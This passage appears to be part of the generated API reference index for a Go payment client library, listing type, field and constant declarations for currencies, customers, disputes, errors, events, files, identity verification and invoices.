CurrencyCDF + const CurrencyCHF + const CurrencyCLP + const CurrencyCNY + const CurrencyCOP + const CurrencyCRC + const CurrencyCVE + const CurrencyCZK + const CurrencyDJF + const CurrencyDKK + const CurrencyDOP + const CurrencyDZD + const CurrencyEEK + const CurrencyEGP + const CurrencyETB + const CurrencyEUR + const CurrencyFJD + const CurrencyFKP + const CurrencyGBP + const CurrencyGEL + const CurrencyGIP + const CurrencyGMD + const CurrencyGNF + const CurrencyGTQ + const CurrencyGYD + const CurrencyHKD + const CurrencyHNL + const CurrencyHRK + const CurrencyHTG + const CurrencyHUF + const CurrencyIDR + const CurrencyILS + const CurrencyINR + const CurrencyISK + const CurrencyJMD + const CurrencyJPY + const CurrencyKES + const CurrencyKGS + const CurrencyKHR + const CurrencyKMF + const CurrencyKRW + const CurrencyKYD + const CurrencyKZT + const CurrencyLAK + const CurrencyLBP + const CurrencyLKR + const CurrencyLRD + const CurrencyLSL + const CurrencyLTL + const CurrencyLVL + const CurrencyMAD + const CurrencyMDL + const CurrencyMGA + const CurrencyMKD + const CurrencyMNT + const CurrencyMOP + const CurrencyMRO + const CurrencyMUR + const CurrencyMVR + const CurrencyMWK + const CurrencyMXN + const CurrencyMYR + const CurrencyMZN + const CurrencyNAD + const CurrencyNGN + const CurrencyNIO + const CurrencyNOK + const CurrencyNPR + const CurrencyNZD + const CurrencyPAB + const CurrencyPEN + const CurrencyPGK + const CurrencyPHP + const CurrencyPKR + const CurrencyPLN + const CurrencyPYG + const CurrencyQAR + const CurrencyRON + const CurrencyRSD + const CurrencyRUB + const CurrencyRWF + const CurrencySAR + const CurrencySBD + const CurrencySCR + const CurrencySEK + const CurrencySGD + const CurrencySHP + const CurrencySLL + const CurrencySOS + const CurrencySRD + const CurrencySTD + const CurrencySVC + const CurrencySZL + const CurrencyTHB + const CurrencyTJS + const CurrencyTOP + const CurrencyTRY + const CurrencyTTD + const CurrencyTWD + const CurrencyTZS + const CurrencyUAH + const CurrencyUGX + const CurrencyUSD + const CurrencyUYU + const CurrencyUZS + const CurrencyVEF + const CurrencyVND + const CurrencyVUV + const CurrencyWST + const CurrencyXAF + const CurrencyXCD + const CurrencyXOF + const CurrencyXPF + const CurrencyYER + const CurrencyZAR + const CurrencyZMW + type Customer struct + Address Address + Balance int64 + Created int64 + Currency Currency + DefaultSource *PaymentSource + Deleted bool + Delinquent bool + Description string + Discount *Discount + Email string + ID string + InvoicePrefix string + InvoiceSettings *CustomerInvoiceSettings + Livemode bool + Metadata map[string]string + Name string + NextInvoiceSequence int64 + Object string + Phone string + PreferredLocales []string + Shipping *CustomerShippingDetails + Sources *SourceList + Subscriptions *SubscriptionList + Tax *CustomerTax + TaxExempt CustomerTaxExempt + TaxIDs *TaxIDList + func (c *Customer) UnmarshalJSON(data []byte) error + type CustomerBalanceTransaction struct + Amount int64 + Created int64 + CreditNote *CreditNote + Currency Currency + Customer *Customer + Description string + EndingBalance int64 + ID string + Invoice *Invoice + Livemode bool + Metadata map[string]string + Object string + Type CustomerBalanceTransactionType + func (c *CustomerBalanceTransaction) UnmarshalJSON(data []byte) error + type CustomerBalanceTransactionList struct + Data []*CustomerBalanceTransaction + type CustomerBalanceTransactionListParams struct + Customer *string + type CustomerBalanceTransactionParams struct + Amount *int64 + Currency *string + Customer *string + Description *string + type CustomerBalanceTransactionType string + const CustomerBalanceTransactionTypeAdjustment + const CustomerBalanceTransactionTypeAppliedToInvoice + const CustomerBalanceTransactionTypeCreditNote + const CustomerBalanceTransactionTypeInitial + const CustomerBalanceTransactionTypeInvoiceTooLarge + const CustomerBalanceTransactionTypeInvoiceTooSmall + const CustomerBalanceTransactionTypeMigration + const CustomerBalanceTransactionTypeUnappliedFromInvoice + const CustomerBalanceTransactionTypeUnspentReceiverCredit + type CustomerInvoiceCustomField struct + Name *string + Value *string + type CustomerInvoiceCustomFieldParams struct + Name *string + Value *string + type CustomerInvoiceSettings struct + CustomFields []*CustomerInvoiceCustomField + DefaultPaymentMethod *PaymentMethod + Footer string + type CustomerInvoiceSettingsParams struct + CustomFields []*CustomerInvoiceCustomFieldParams + DefaultPaymentMethod *string + Footer *string + type CustomerList struct + Data []*Customer + type CustomerListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Email *string + type CustomerParams struct + Address *AddressParams + Balance *int64 + Coupon *string + DefaultSource *string + Description *string + Email *string + InvoicePrefix *string + InvoiceSettings *CustomerInvoiceSettingsParams + Name *string + NextInvoiceSequence *int64 + PaymentMethod *string + Phone *string + PreferredLocales []*string + PromotionCode *string + Shipping *CustomerShippingDetailsParams + Source *SourceParams + Tax *CustomerTaxParams + TaxExempt *string + TaxIDData []*CustomerTaxIDDataParams + Token *string + func (cp *CustomerParams) SetSource(sp interface{}) error + type CustomerShippingDetails struct + Address Address + Name string + Phone string + type CustomerShippingDetailsParams struct + Address *AddressParams + Name *string + Phone *string + type CustomerSourceParams struct + Customer *string + Source *SourceParams + func (cp *CustomerSourceParams) SetSource(sp interface{}) error + type CustomerTax struct + AutomaticTax CustomerTaxAutomaticTax + IPAddress string + Location *CustomerTaxLocation + type CustomerTaxAutomaticTax string + const CustomerTaxAutomaticTaxFailed + const CustomerTaxAutomaticTaxNotCollecting + const CustomerTaxAutomaticTaxSupported + const CustomerTaxAutomaticTaxUnrecognizedLocation + type CustomerTaxExempt string + const CustomerTaxExemptExempt + const CustomerTaxExemptNone + const CustomerTaxExemptReverse + type CustomerTaxIDDataParams struct + Type *string + Value *string + type CustomerTaxLocation struct + Country string + Source CustomerTaxLocationSource + State string + type CustomerTaxLocationSource string + const CustomerTaxLocationSourceBillingAddress + const CustomerTaxLocationSourceIPAddress + const CustomerTaxLocationSourcePaymentMethod + const CustomerTaxLocationSourceShippingDestination + type CustomerTaxParams struct + IPAddress *string + type DOB struct + Day int64 + Month int64 + Year int64 + type DOBParams struct + Day *int64 + Month *int64 + Year *int64 + type Deauthorize struct + StripeUserID string + type DeauthorizeParams struct + ClientID *string + StripeUserID *string + type DeclineCode string + const DeclineCodeApproveWithID + const DeclineCodeAuthenticationRequired + const DeclineCodeCallIssuer + const DeclineCodeCardNotSupported + const DeclineCodeCardVelocityExceeded + const DeclineCodeCurrencyNotSupported + const DeclineCodeDoNotHonor + const DeclineCodeDoNotTryAgain + const DeclineCodeDuplicateTransaction + const DeclineCodeExpiredCard + const DeclineCodeFraudulent + const DeclineCodeGenericDecline + const DeclineCodeIncorrectCVC + const DeclineCodeIncorrectNumber + const DeclineCodeIncorrectPIN + const DeclineCodeIncorrectZip + const DeclineCodeInsufficientFunds + const DeclineCodeInvalidAccount + const DeclineCodeInvalidAmount + const DeclineCodeInvalidCVC + const DeclineCodeInvalidExpiryMonth + const DeclineCodeInvalidExpiryYear + const DeclineCodeInvalidNumber + const DeclineCodeInvalidPIN + const DeclineCodeIssuerNotAvailable + const DeclineCodeLostCard + const DeclineCodeMerchantBlacklist + const DeclineCodeNewAccountInformationAvailable + const DeclineCodeNoActionTaken + const DeclineCodeNotPermitted + const DeclineCodePINTryExceeded + const DeclineCodePickupCard + const DeclineCodeProcessingError + const DeclineCodeReenterTransaction + const DeclineCodeRestrictedCard + const DeclineCodeRevocationOfAllAuthorizations + const DeclineCodeRevocationOfAuthorization + const DeclineCodeSecurityViolation + const DeclineCodeServiceNotAllowed + const DeclineCodeStolenCard + const DeclineCodeStopPaymentOrder + const DeclineCodeTestModeDecline + const DeclineCodeTransactionNotAllowed + const DeclineCodeTryAgainLater + const DeclineCodeWithdrawalCountLimitExceeded + type DeliveryEstimate struct + Date string + Earliest string + Latest string + Type OrderDeliveryEstimateType + type DestinationParams struct + Account *string + Amount *int64 + type Discount struct + CheckoutSession *CheckoutSession + Coupon *Coupon + Customer string + Deleted bool + End int64 + ID string + Invoice string + InvoiceItem string + Object string + PromotionCode *PromotionCode + Start int64 + Subscription string + func (d *Discount) UnmarshalJSON(data []byte) error + type DiscountParams struct + type Dispute struct + Amount int64 + BalanceTransactions []*BalanceTransaction + Charge *Charge + Created int64 + Currency Currency + Evidence *DisputeEvidence + EvidenceDetails *EvidenceDetails + ID string + IsChargeRefundable bool + Livemode bool + Metadata map[string]string + PaymentIntent *PaymentIntent + Reason DisputeReason + Status DisputeStatus + func (d *Dispute) UnmarshalJSON(data []byte) error + type DisputeEvidence struct + AccessActivityLog string + BillingAddress string + CancellationPolicy *File + CancellationPolicyDisclosure string + CancellationRebuttal string + CustomerCommunication *File + CustomerEmailAddress string + CustomerName string + CustomerPurchaseIP string + CustomerSignature *File + DuplicateChargeDocumentation *File + DuplicateChargeExplanation string + DuplicateChargeID string + ProductDescription string + Receipt *File + RefundPolicy *File + RefundPolicyDisclosure string + RefundRefusalExplanation string + ServiceDate string + ServiceDocumentation *File + ShippingAddress string + ShippingCarrier string + ShippingDate string + ShippingDocumentation *File + ShippingTrackingNumber string + UncategorizedFile *File + UncategorizedText string + type DisputeEvidenceParams struct + AccessActivityLog *string + BillingAddress *string + CancellationPolicy *string + CancellationPolicyDisclosure *string + CancellationRebuttal *string + CustomerCommunication *string + CustomerEmailAddress *string + CustomerName *string + CustomerPurchaseIP *string + CustomerSignature *string + DuplicateChargeDocumentation *string + DuplicateChargeExplanation *string + DuplicateChargeID *string + ProductDescription *string + Receipt *string + RefundPolicy *string + RefundPolicyDisclosure *string + RefundRefusalExplanation *string + ServiceDate *string + ServiceDocumentation *string + ShippingAddress *string + ShippingCarrier *string + ShippingDate *string + ShippingDocumentation *string + ShippingTrackingNumber *string + UncategorizedFile *string + UncategorizedText *string + type DisputeList struct + Data []*Dispute + type DisputeListParams struct + Charge *string + Created *int64 + CreatedRange *RangeQueryParams + PaymentIntent *string + type DisputeParams struct + Evidence *DisputeEvidenceParams + Submit *bool + type DisputeReason string + const DisputeReasonCreditNotProcessed + const DisputeReasonDuplicate + const DisputeReasonFraudulent + const DisputeReasonGeneral + const DisputeReasonProductNotReceived + const DisputeReasonProductUnacceptable + const DisputeReasonSubscriptionCanceled + const DisputeReasonUnrecognized + type DisputeStatus string + const DisputeStatusChargeRefunded + const DisputeStatusLost + const DisputeStatusNeedsResponse + const DisputeStatusUnderReview + const DisputeStatusWarningClosed + const DisputeStatusWarningNeedsResponse + const DisputeStatusWarningUnderReview + const DisputeStatusWon + type DocumentsCompanyAuthorizationParams struct + Files []*string + type DocumentsParams struct + CompanyAuthorization *DocumentsCompanyAuthorizationParams + Passport *DocumentsPassportParams + Visa *DocumentsVisaParams + type DocumentsPassportParams struct + Files []*string + type DocumentsVisaParams struct + Files []*string + type EphemeralKey struct + AssociatedObjects []struct{ ... } + Created int64 + Expires int64 + ID string + Livemode bool + RawJSON []byte + Secret string + func (e *EphemeralKey) UnmarshalJSON(data []byte) error + type EphemeralKeyParams struct + Customer *string + IssuingCard *string + StripeVersion *string + type Error struct + ChargeID string + Code ErrorCode + DeclineCode DeclineCode + DocURL string + Err error + HTTPStatusCode int + Msg string + OAuthError string + OAuthErrorDescription string + Param string + PaymentIntent *PaymentIntent + PaymentMethod *PaymentMethod + PaymentMethodType PaymentMethodType + RequestID string + SetupIntent *SetupIntent + Source *PaymentSource + Type ErrorType + func (e *Error) Error() string + type ErrorCode string + const ErrorCodeAPIKeyExpired + const ErrorCodeAccountAlreadyExists + const ErrorCodeAccountCountryInvalidAddress + const ErrorCodeAccountInvalid + const ErrorCodeAccountNumberInvalid + const ErrorCodeAlipayUpgradeRequired + const ErrorCodeAmountTooLarge + const ErrorCodeAmountTooSmall + const ErrorCodeAuthenticationRequired + const ErrorCodeBalanceInsufficient + const ErrorCodeBankAccountDeclined + const ErrorCodeBankAccountExists + const ErrorCodeBankAccountUnusable + const ErrorCodeBankAccountUnverified + const ErrorCodeBankAccountVerificationFailed + const ErrorCodeBitcoinUpgradeRequired + const ErrorCodeCardDeclined + const ErrorCodeCardDeclinedRateLimitExceeded + const ErrorCodeChargeAlreadyCaptured + const ErrorCodeChargeAlreadyRefunded + const ErrorCodeChargeDisputed + const ErrorCodeChargeExceedsSourceLimit + const ErrorCodeChargeExpiredForCapture + const ErrorCodeChargeInvalidParameter + const ErrorCodeCountryUnsupported + const ErrorCodeCouponExpired + const ErrorCodeCustomerMaxPaymentMethods + const ErrorCodeCustomerMaxSubscriptions + const ErrorCodeEmailInvalid + const ErrorCodeExpiredCard + const ErrorCodeIdempotencyKeyInUse + const ErrorCodeIncorrectAddress + const ErrorCodeIncorrectCVC + const ErrorCodeIncorrectNumber + const ErrorCodeIncorrectZip + const ErrorCodeInstantPayoutsUnsupported + const ErrorCodeInvalidCVC + const ErrorCodeInvalidCardType + const ErrorCodeInvalidCharacters + const ErrorCodeInvalidChargeAmount + const ErrorCodeInvalidExpiryMonth + const ErrorCodeInvalidExpiryYear + const ErrorCodeInvalidNumber + const ErrorCodeInvalidSourceUsage + const ErrorCodeInvalidSwipeData + const ErrorCodeInvoiceNoCustomerLineItems + const ErrorCodeInvoiceNoSubscriptionLineItems + const ErrorCodeInvoiceNotEditable + const ErrorCodeInvoicePamentIntentRequiresAction + const ErrorCodeInvoiceUpcomingNone + const ErrorCodeLivemodeMismatch + const ErrorCodeLockTimeout + const ErrorCodeMissing + const ErrorCodeNotAllowedOnStandardAccount + const ErrorCodeOrderCreationFailed + const ErrorCodeOrderRequiredSettings + const ErrorCodeOrderStatusInvalid + const ErrorCodeOrderUpstreamTimeout + const ErrorCodeOutOfInventory + const ErrorCodeParameterInvalidEmpty + const ErrorCodeParameterInvalidInteger + const ErrorCodeParameterInvalidStringBlank + const ErrorCodeParameterInvalidStringEmpty + const ErrorCodeParameterMissing + const ErrorCodeParameterUnknown + const ErrorCodeParametersExclusive + const ErrorCodePaymentIntentActionRequired + const ErrorCodePaymentIntentAuthenticationFailure + const ErrorCodePaymentIntentIncompatiblePaymentMethod + const ErrorCodePaymentIntentInvalidParameter + const ErrorCodePaymentIntentPaymentAttemptFailed + const ErrorCodePaymentIntentUnexpectedState + const ErrorCodePaymentMethodUnactivated + const ErrorCodePaymentMethodUnexpectedState + const ErrorCodePayoutsNotAllowed + const ErrorCodePlatformAPIKeyExpired + const ErrorCodePostalCodeInvalid + const ErrorCodeProcessingError + const ErrorCodeProductInactive + const ErrorCodeRateLimit + const ErrorCodeResourceAlreadyExists + const ErrorCodeResourceMissing + const ErrorCodeRoutingNumberInvalid + const ErrorCodeSecretKeyRequired + const ErrorCodeSepaUnsupportedAccount + const ErrorCodeSetupAttemptFailed + const ErrorCodeSetupIntentAuthenticationFailure + const ErrorCodeSetupIntentInvalidParameter + const ErrorCodeSetupIntentUnexpectedState + const ErrorCodeShippingCalculationFailed + const ErrorCodeSkuInactive + const ErrorCodeStateUnsupported + const ErrorCodeTLSVersionUnsupported + const ErrorCodeTaxIDInvalid + const ErrorCodeTaxesCalculationFailed + const ErrorCodeTestmodeChargesOnly + const ErrorCodeTokenAlreadyUsed + const ErrorCodeTokenInUse + const ErrorCodeTransfersNotAllowed + const ErrorCodeURLInvalid + const ErrorCodeUpstreamOrderCreationFailed + type ErrorType string + const ErrorTypeAPI + const ErrorTypeAPIConnection + const ErrorTypeAuthentication + const ErrorTypeCard + const ErrorTypeIdempotency + const ErrorTypeInvalidRequest + const ErrorTypePermission + const ErrorTypeRateLimit + type Event struct + Account string + Created int64 + Data *EventData + ID string + Livemode bool + PendingWebhooks int64 + Request *EventRequest + Type string + func (e *Event) GetObjectValue(keys ...string) string + func (e *Event) GetPreviousValue(keys ...string) string + type EventData struct + Object map[string]interface{} + PreviousAttributes map[string]interface{} + Raw json.RawMessage + func (e *EventData) UnmarshalJSON(data []byte) error + type EventList struct + Data []*Event + type EventListParams struct + Created *int64 + CreatedRange *RangeQueryParams + DeliverySuccess *bool + Type *string + Types []*string + type EventParams struct + type EventRequest struct + ID string + IdempotencyKey string + type EvidenceDetails struct + DueBy int64 + HasEvidence bool + PastDue bool + SubmissionCount int64 + type ExternalAccount struct + BankAccount *BankAccount + Card *Card + ID string + Type ExternalAccountType + func (ea *ExternalAccount) UnmarshalJSON(data []byte) error + type ExternalAccountList struct + Data []*ExternalAccount + type ExternalAccountType string + const ExternalAccountTypeBankAccount + const ExternalAccountTypeCard + type ExtraValues struct + func (v ExtraValues) AppendTo(body *form.Values, keyParts []string) + type FeeRefund struct + Amount int64 + BalanceTransaction *BalanceTransaction + Created int64 + Currency Currency + Fee *ApplicationFee + ID string + Metadata map[string]string + Object string + func (f *FeeRefund) UnmarshalJSON(data []byte) error + type FeeRefundList struct + Data []*FeeRefund + type FeeRefundListParams struct + ApplicationFee *string + type FeeRefundParams struct + Amount *int64 + ApplicationFee *string + type File struct + Created int64 + ExpiresAt int64 + Filename string + ID string + Links *FileLinkList + Object string + Purpose FilePurpose + Size int64 + Type string + URL string + func (f *File) UnmarshalJSON(data []byte) error + type FileFileLinkDataParams struct + Create *bool + ExpiresAt *int64 + type FileLink struct + Created int64 + Expired bool + ExpiresAt int64 + File *File + ID string + Livemode bool + Metadata map[string]string + Object string + URL string + func (f *FileLink) UnmarshalJSON(data []byte) error + type FileLinkList struct + Data []*FileLink + type FileLinkListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Expired *bool + File *string + type FileLinkParams struct + ExpiresAt *int64 + ExpiresAtNow *bool + File *string + func (f *FileLinkParams) AppendTo(body *form.Values, keyParts []string) + type FileList struct + Data []*File + type FileListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Purpose *string + type FileParams struct + FileLinkData *FileFileLinkDataParams + FileReader io.Reader + Filename *string + Purpose *string + func (f *FileParams) GetBody() (*bytes.Buffer, string, error) + type FilePurpose string + const FilePurposeAccountRequirement + const FilePurposeAdditionalVerification + const FilePurposeBusinessIcon + const FilePurposeBusinessLogo + const FilePurposeCustomerSignature + const FilePurposeDisputeEvidence + const FilePurposeDocumentProviderIdentityDocument + const FilePurposeFinanceReportRun + const FilePurposeFoundersStockDocument + const FilePurposeIdentityDocument + const FilePurposePCIDocument + const FilePurposeSigmaScheduledQuery + const FilePurposeTaxDocumentUserUpload + type Filters struct + func (f *Filters) AddFilter(key, op, value string) + func (f Filters) AppendTo(body *form.Values, keyParts []string) + type FraudDetails struct + StripeReport ChargeFraudStripeReport + UserReport ChargeFraudUserReport + type FraudDetailsParams struct + UserReport *string + type IdempotencyError struct + func (e *IdempotencyError) Error() string + type IdentityVerificationReport struct + Created int64 + Document *IdentityVerificationReportDocument + ID string + IDNumber *IdentityVerificationReportIDNumber + Livemode bool + Object string + Options *IdentityVerificationReportOptions + Selfie *IdentityVerificationReportSelfie + Type IdentityVerificationReportType + VerificationSession string + func (i *IdentityVerificationReport) UnmarshalJSON(data []byte) error + type IdentityVerificationReportDocument struct + Address *Address + DOB *IdentityVerificationReportDocumentDOB + Error *IdentityVerificationReportDocumentError + ExpirationDate *IdentityVerificationReportDocumentExpirationDate + Files []string + FirstName string + IssuedDate *IdentityVerificationReportDocumentIssuedDate + IssuingCountry string + LastName string + Number string + Status IdentityVerificationReportDocumentStatus + Type IdentityVerificationReportDocumentType + type IdentityVerificationReportDocumentDOB struct + Day int64 + Month int64 + Year int64 + type IdentityVerificationReportDocumentError struct + Code IdentityVerificationReportDocumentErrorCode + Reason string + type IdentityVerificationReportDocumentErrorCode string + const IdentityVerificationReportDocumentErrorCodeDocumentExpired + const IdentityVerificationReportDocumentErrorCodeDocumentTypeNotSupported + const IdentityVerificationReportDocumentErrorCodeDocumentUnverifiedOther + type IdentityVerificationReportDocumentExpirationDate struct + Day int64 + Month int64 + Year int64 + type IdentityVerificationReportDocumentIssuedDate struct + Day int64 + Month int64 + Year int64 + type IdentityVerificationReportDocumentStatus string + const IdentityVerificationReportDocumentStatusUnverified + const IdentityVerificationReportDocumentStatusVerified + type IdentityVerificationReportDocumentType string + const IdentityVerificationReportDocumentTypeDrivingLicense + const IdentityVerificationReportDocumentTypeIDCard + const IdentityVerificationReportDocumentTypePassport + type IdentityVerificationReportIDNumber struct + DOB *IdentityVerificationReportIDNumberDOB + Error *IdentityVerificationReportIDNumberError + FirstName string + IDNumber string + IDNumberType IdentityVerificationReportIDNumberIDNumberType + LastName string + Status IdentityVerificationReportIDNumberStatus + type IdentityVerificationReportIDNumberDOB struct + Day int64 + Month int64 + Year int64 + type IdentityVerificationReportIDNumberError struct + Code IdentityVerificationReportIDNumberErrorCode + Reason string + type IdentityVerificationReportIDNumberErrorCode string + const IdentityVerificationReportIDNumberErrorCodeIDNumberInsufficientDocumentData + const IdentityVerificationReportIDNumberErrorCodeIDNumberMismatch + const IdentityVerificationReportIDNumberErrorCodeIDNumberUnverifiedOther + type IdentityVerificationReportIDNumberIDNumberType string + const IdentityVerificationReportIDNumberIDNumberTypeBRCPF + const IdentityVerificationReportIDNumberIDNumberTypeSGNRIC + const IdentityVerificationReportIDNumberIDNumberTypeUSSSN + type IdentityVerificationReportIDNumberStatus string + const IdentityVerificationReportIDNumberStatusUnverified + const IdentityVerificationReportIDNumberStatusVerified + type IdentityVerificationReportList struct + Data []*IdentityVerificationReport + type IdentityVerificationReportListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Type *string + VerificationSession *string + type IdentityVerificationReportOptions struct + Document *IdentityVerificationReportOptionsDocument + IDNumber *IdentityVerificationReportOptionsIDNumber + type IdentityVerificationReportOptionsDocument struct + AllowedTypes []IdentityVerificationReportOptionsDocumentAllowedType + RequireIDNumber bool + RequireLiveCapture bool + RequireMatchingSelfie bool + type IdentityVerificationReportOptionsDocumentAllowedType string + const IdentityVerificationReportOptionsDocumentAllowedTypeDrivingLicense + const IdentityVerificationReportOptionsDocumentAllowedTypeIDCard + const IdentityVerificationReportOptionsDocumentAllowedTypePassport + type IdentityVerificationReportOptionsIDNumber struct + type IdentityVerificationReportParams struct + type IdentityVerificationReportSelfie struct + Document string + Error *IdentityVerificationReportSelfieError + Selfie string + Status IdentityVerificationReportSelfieStatus + type IdentityVerificationReportSelfieError struct + Code IdentityVerificationReportSelfieErrorCode + Reason string + type IdentityVerificationReportSelfieErrorCode string + const IdentityVerificationReportSelfieErrorCodeSelfieDocumentMissingPhoto + const IdentityVerificationReportSelfieErrorCodeSelfieFaceMismatch + const IdentityVerificationReportSelfieErrorCodeSelfieManipulated + const IdentityVerificationReportSelfieErrorCodeSelfieUnverifiedOther + type IdentityVerificationReportSelfieStatus string + const IdentityVerificationReportSelfieStatusUnverified + const IdentityVerificationReportSelfieStatusVerified + type IdentityVerificationReportType string + const IdentityVerificationReportTypeDocument + const IdentityVerificationReportTypeIDNumber + type IdentityVerificationSession struct + ClientSecret string + Created int64 + ID string + LastError *IdentityVerificationSessionLastError + LastVerificationReport *IdentityVerificationReport + Livemode bool + Metadata map[string]string + Object string + Options *IdentityVerificationSessionOptions + Redaction *IdentityVerificationSessionRedaction + Status IdentityVerificationSessionStatus + Type IdentityVerificationSessionType + URL string + VerifiedOutputs *IdentityVerificationSessionVerifiedOutputs + type IdentityVerificationSessionCancelParams struct + type IdentityVerificationSessionLastError struct + Code IdentityVerificationSessionLastErrorCode + Reason string + type IdentityVerificationSessionLastErrorCode string + const IdentityVerificationSessionLastErrorCodeAbandoned + const IdentityVerificationSessionLastErrorCodeConsentDeclined + const IdentityVerificationSessionLastErrorCodeCountryNotSupported + const IdentityVerificationSessionLastErrorCodeDeviceNotSupported + const IdentityVerificationSessionLastErrorCodeDocumentExpired + const IdentityVerificationSessionLastErrorCodeDocumentTypeNotSupported + const IdentityVerificationSessionLastErrorCodeDocumentUnverifiedOther + const IdentityVerificationSessionLastErrorCodeIDNumberInsufficientDocumentData + const IdentityVerificationSessionLastErrorCodeIDNumberMismatch + const IdentityVerificationSessionLastErrorCodeIDNumberUnverifiedOther + const IdentityVerificationSessionLastErrorCodeSelfieDocumentMissingPhoto + const IdentityVerificationSessionLastErrorCodeSelfieFaceMismatch + const IdentityVerificationSessionLastErrorCodeSelfieManipulated + const IdentityVerificationSessionLastErrorCodeSelfieUnverifiedOther + const IdentityVerificationSessionLastErrorCodeUnderSupportedAge + type IdentityVerificationSessionList struct + Data []*IdentityVerificationSession + type IdentityVerificationSessionListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Status *string + type IdentityVerificationSessionOptions struct + Document *IdentityVerificationSessionOptionsDocument + IDNumber *IdentityVerificationSessionOptionsIDNumber + type IdentityVerificationSessionOptionsDocument struct + AllowedTypes []IdentityVerificationSessionOptionsDocumentAllowedType + RequireIDNumber bool + RequireLiveCapture bool + RequireMatchingSelfie bool + type IdentityVerificationSessionOptionsDocumentAllowedType string + const IdentityVerificationSessionOptionsDocumentAllowedTypeDrivingLicense + const IdentityVerificationSessionOptionsDocumentAllowedTypeIDCard + const IdentityVerificationSessionOptionsDocumentAllowedTypePassport + type IdentityVerificationSessionOptionsDocumentParams struct + AllowedTypes []*string + RequireIDNumber *bool + RequireLiveCapture *bool + RequireMatchingSelfie *bool + type IdentityVerificationSessionOptionsIDNumber struct + type IdentityVerificationSessionOptionsParams struct + Document *IdentityVerificationSessionOptionsDocumentParams + type IdentityVerificationSessionParams struct + Options *IdentityVerificationSessionOptionsParams + ReturnURL *string + Type *string + type IdentityVerificationSessionRedactParams struct + type IdentityVerificationSessionRedaction struct + Status IdentityVerificationSessionRedactionStatus + type IdentityVerificationSessionRedactionStatus string + const IdentityVerificationSessionRedactionStatusProcessing + const IdentityVerificationSessionRedactionStatusRedacted + type IdentityVerificationSessionStatus string + const IdentityVerificationSessionStatusCanceled + const IdentityVerificationSessionStatusProcessing + const IdentityVerificationSessionStatusRequiresInput + const IdentityVerificationSessionStatusVerified + type IdentityVerificationSessionType string + const IdentityVerificationSessionTypeDocument + const IdentityVerificationSessionTypeIDNumber + type IdentityVerificationSessionVerifiedOutputs struct + Address *Address + DOB *IdentityVerificationSessionVerifiedOutputsDOB + FirstName string + IDNumber string + IDNumberType IdentityVerificationSessionVerifiedOutputsIDNumberType + LastName string + type IdentityVerificationSessionVerifiedOutputsDOB struct + Day int64 + Month int64 + Year int64 + type IdentityVerificationSessionVerifiedOutputsIDNumberType string + const IdentityVerificationSessionVerifiedOutputsIDNumberTypeBRCPF + const IdentityVerificationSessionVerifiedOutputsIDNumberTypeSGNRIC + const IdentityVerificationSessionVerifiedOutputsIDNumberTypeUSSSN + type IdentityVerificationStatus string + const IdentityVerificationStatusPending + const IdentityVerificationStatusUnverified + const IdentityVerificationStatusVerified + type InvalidRequestError struct + func (e *InvalidRequestError) Error() string + type Inventory struct + Quantity int64 + Type SKUInventoryType + Value SKUInventoryValue + type InventoryParams struct + Quantity *int64 + Type *string + Value *string + type Invoice struct + AccountCountry string + AccountName string + AccountTaxIDs []*TaxID + AmountDue int64 + AmountPaid int64 + AmountRemaining int64 + ApplicationFeeAmount int64 + AttemptCount int64 + Attempted bool + AutoAdvance bool + AutomaticTax *InvoiceAutomaticTax + BillingReason InvoiceBillingReason + Charge *Charge + CollectionMethod *InvoiceCollectionMethod + Created int64 + Currency Currency + CustomFields []*InvoiceCustomField + Customer *Customer + CustomerAddress *Address + CustomerEmail string + CustomerName *string + CustomerPhone *string + CustomerShipping *CustomerShippingDetails + CustomerTaxExempt CustomerTaxExempt + CustomerTaxIDs []*InvoiceCustomerTaxID + DefaultPaymentMethod *PaymentMethod + DefaultSource *PaymentSource + DefaultTaxRates []*TaxRate + Deleted bool + Description string + Discount *Discount + Discounts []*Discount + DueDate int64 + EndingBalance int64 + Footer string + HostedInvoiceURL string + ID string + InvoicePDF string + LastFinalizationError *Error + Lines *InvoiceLineList + Livemode bool + Metadata map[string]string + NextPaymentAttempt int64 + Number string + Object string + OnBehalfOf *Account + Paid bool + PaymentIntent *PaymentIntent + PaymentSettings *InvoicePaymentSettings + PeriodEnd int64 + PeriodStart int64 + PostPaymentCreditNotesAmount int64 + PrePaymentCreditNotesAmount int64 + ReceiptNumber string + StartingBalance int64 + StatementDescriptor string + Status InvoiceStatus + StatusTransitions InvoiceStatusTransitions + Subscription *Subscription + SubscriptionProrationDate int64 + Subtotal int64 + Tax int64 + ThreasholdReason *InvoiceThresholdReason + Total int64 + TotalDiscountAmounts []*InvoiceDiscountAmount + TotalTaxAmounts []*InvoiceTaxAmount + TransferData *InvoiceTransferData + WebhooksDeliveredAt int64 + func (i *Invoice) UnmarshalJSON(data []byte) error + type InvoiceAutomaticTax struct + Enabled bool + Status InvoiceAutomaticTaxStatus + type InvoiceAutomaticTaxParams struct + Enabled *bool + type InvoiceAutomaticTaxStatus string + const InvoiceAutomaticTaxStatusComplete + const InvoiceAutomaticTaxStatusFailed + const InvoiceAutomaticTaxStatusRequiresLocationInputs + type InvoiceBillingReason string + const InvoiceBillingReasonManual + const InvoiceBillingReasonSubscription + const InvoiceBillingReasonSubscriptionCreate + const InvoiceBillingReasonSubscriptionCycle + const InvoiceBillingReasonSubscriptionThreshold + const InvoiceBillingReasonSubscriptionUpdate + const InvoiceBillingReasonUpcoming + type InvoiceCollectionMethod string + const InvoiceCollectionMethodChargeAutomatically + const InvoiceCollectionMethodSendInvoice + type InvoiceCustomField struct + Name string + Value string + type InvoiceCustomFieldParams struct + Name *string + Value *string + type InvoiceCustomerTaxID struct + Type TaxIDType + Value string + type InvoiceDiscountAmount struct + Amount int64 + Discount *Discount + type InvoiceDiscountParams struct + Coupon *string + Discount *string + type InvoiceFinalizeParams struct + AutoAdvance *bool + type InvoiceItem struct + Amount int64 + Currency Currency + Customer *Customer + Date int64 + Deleted bool + Description string + Discountable bool + Discounts []*Discount + ID string + Invoice *Invoice + Livemode bool + Metadata map[string]string + Object string + Period *Period + Plan *Plan + Price *Price + Proration bool + Quantity int64 + Subscription *Subscription + SubscriptionItem string + TaxRates []*TaxRate + UnitAmount int64 + UnitAmountDecimal float64 + func (i *InvoiceItem) UnmarshalJSON(data []byte) error + type InvoiceItemDiscountParams struct + Coupon *string + Discount 